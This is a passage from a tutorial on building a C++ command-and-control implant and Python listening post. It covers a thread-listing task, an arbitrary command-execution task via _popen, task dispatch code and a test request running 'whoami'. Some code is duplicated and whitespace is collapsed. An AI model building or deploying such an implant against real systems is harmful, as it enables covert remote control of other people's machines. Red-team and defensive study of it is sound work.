{}Result ListThreadsTask::run() const {try { std::stringstream threadList;auto ownerProcessId{ 0 }; // User wants to list threads in current processif (processId =="-") { ownerProcessId =GetCurrentProcessId(); } // If the process ID is not blank, try to use it for listing the threads in the processelseif (processId !="") { ownerProcessId =stoi(processId); } // Some invalid process ID was provided, throw an errorelse {return Result{ id,"Error! Failed to handle given process ID.",false }; } HANDLE threadSnap = INVALID_HANDLE_VALUE; THREADENTRY32 te32; // Take a snapshot of all running threads threadSnap =CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);if (threadSnap == INVALID_HANDLE_VALUE)return Result{ id,"Error! Could not take a snapshot of all running threads.",false }; // Fill in the size of the structure before using it. te32.dwSize =sizeof(THREADENTRY32); // Retrieve information about the first thread, // and exit if unsuccessfulif (!Thread32First(threadSnap,&te32)) {CloseHandle(threadSnap); // Must clean up the snapshot object!return Result{ id,"Error! Could not retrieve information about first thread.",false }; } // Now walk the thread list of the system, // and display information about each thread // associated with the specified processdo {if (te32.th32OwnerProcessID == ownerProcessId) { // Add all thread IDs to a string stream threadList <<"THREAD ID = "<<te32.th32ThreadID <<"\n"; } } while (Thread32Next(threadSnap,&te32)); // Don't forget to clean up the snapshot object.CloseHandle(threadSnap); // Return string stream of thread IDsreturn Result{ id,threadList.str(),true }; }catch (const std::exception& e) {return Result{ id,e.what(),false }; }}// ===========================================================================================
Let's begin by covering the code for our new Execute task:
We use the same template as the previous tasks and start by defining the constructor of Execute with a "command" variable specified, since we want to pass a command line value to this task. For the run method, we're declaring a "result" variable and then we try to run a command. We do this by having a buffer declared, getting a pointer to a pipe where we pass in the command string to "_popen()" and then calling "_pclose()". If we failed to get a pointer to a pipe, then we throw an error. Otherwise, we begin a while-loop that reads in the results of the command into our buffer. We store the buffer into a "result" variable and pass this into the Result object that we return to the calling function.
Let's follow the same template and add in our last task, List Threads (original source code obtained from the Microsoft Docs page here):
// ListThreadsTask// -------------------------------------------------------------------------------------------ListThreadsTask::ListThreadsTask(const boost::uuids::uuid& id, std::string processId) : id{ id }, processId{ processId } {}Result ListThreadsTask::run() const {try { std::stringstream threadList;auto ownerProcessId{ 0 }; // User wants to list threads in current processif (processId =="-") { ownerProcessId =GetCurrentProcessId(); } // If the process ID is not blank, try to use it for listing the threads in the processelseif (processId !="") { ownerProcessId =stoi(processId); } // Some invalid process ID was provided, throw an errorelse {return Result{ id,"Error! Failed to handle given process ID.",false }; } HANDLE threadSnap = INVALID_HANDLE_VALUE; THREADENTRY32 te32; // Take a snapshot of all running threads threadSnap =CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);if (threadSnap == INVALID_HANDLE_VALUE)return Result{ id,"Error! Could not take a snapshot of all running threads.",false }; // Fill in the size of the structure before using it. te32.dwSize =sizeof(THREADENTRY32); // Retrieve information about the first thread, // and exit if unsuccessfulif (!Thread32First(threadSnap,&te32)) {CloseHandle(threadSnap); // Must clean up the snapshot object!return Result{ id,"Error! Could not retrieve information about first thread.",false }; } // Now walk the thread list of the system, // and display information about each thread // associated with the specified processdo {if (te32.th32OwnerProcessID == ownerProcessId) { // Add all thread IDs to a string stream threadList <<"THREAD ID = "<<te32.th32ThreadID <<"\n"; } } while (Thread32Next(threadSnap,&te32)); // Don't forget to clean up the snapshot object.CloseHandle(threadSnap); // Return string stream of thread IDsreturn Result{ id,threadList.str(),true }; }catch (const std::exception& e) {return Result{ id,e.what(),false }; }}
We use the exact same code in the constructor for List Threads as in Execute, except we are passing a process ID variable instead of a command variable. In the "run" method for List Threads, we have a variable to hold our thread list and we say that if "-" is received as the process ID, then we should return the threads in the process where the implant is running with the "GetCurrentProcessId" function. Otherwise, we store the requested process ID in a variable. Next, we take a snapshot of all running threads and loop through every thread in the list to find ones that have an owner process ID that matches the one provided. Whenever we get a match, append a string to the list with a format of "THREAD ID =" followed by the ID of the thread and a newline character. When the thread list has ended, the loop ends and we close the handle to the snapshot. Finally, we return a Result object that holds the ID, list of threads matching the process ID we gave the implant and a success status of "true".
The last section we add for new tasks in the file is for the conditional check:
// Conditionals to determine which task should be executed based on key provided// REMEMBER: Any new tasks must be added to the conditional check, along with arg values// ===========================================================================================if (taskType == PingTask::key) {return PingTask{ id };}if (taskType == ConfigureTask::key) {return ConfigureTask{ id,taskTree.get_child("dwell").get_value<double>(),taskTree.get_child("running").get_value<bool>(), std::move(setter) };}if (taskType == ExecuteTask::key) {return ExecuteTask{ id,taskTree.get_child("command").get_value<std::string>() };}if (taskType == ListThreadsTask::key) {return ListThreadsTask{ id,taskTree.get_child("procid").get_value<std::string>() };}
You'll see that beneath the ConfigureTask, we've added conditional checks for the Execute task key and the List Threads task key. We are passing the command line variable as "command" for Execute and the process ID variable as "procid" for List Threads.
That's all the code we have to add for the new tasks. If you want to integrate more tasks, that's the general pattern you can follow. Next, it's time to take these newly added tasks for a spin!
New Tasks Test Drive
Start off by building the project for x64 platforms and ensuring that there's no compilation errors. All the code we've written thus far can be found in a folder called "chapter3-3". Next, make sure the Skytree listening post is running and if not, start it now by navigating to the "Skytree" folder and running python listening_post.py. Navigate to the build output folder and execute the RainDoll.exe file from the command line. With the implant running, make an "AddTasks" POST request with the following:
POST /tasks HTTP/1.1Host: localhost:5000Content-Type: application/json[ {"task_type":"list-threads","procid":"-" }, {"task_type":"execute","command":"whoami" }]
You can run the following PowerShell lines to make the above request:
You'll note the addition of an entry with the command execution task results and the list threads task results. If you made it this far, congrats! That's everything there is to do for building this basic implant and tasking. Give yourself a big pat on the back!
Conclusion
That's the end of the chapter on our basic implant, we went through a lot of stuff and worked through the core concepts of a command & control beaconing agent. We learned about how the beaconing loop is built, the way in which we make requests to the listening post and how we parse and execute tasks. Finally, we tested out the complete operator flow and went through the process of extending the implant with new tasks. In the next chapter, we'll build a command line interface client where we can send tasks and view results without having to manually make each request.
Further Reading & Next Steps
To learn more about building C2 implants, see the following resources: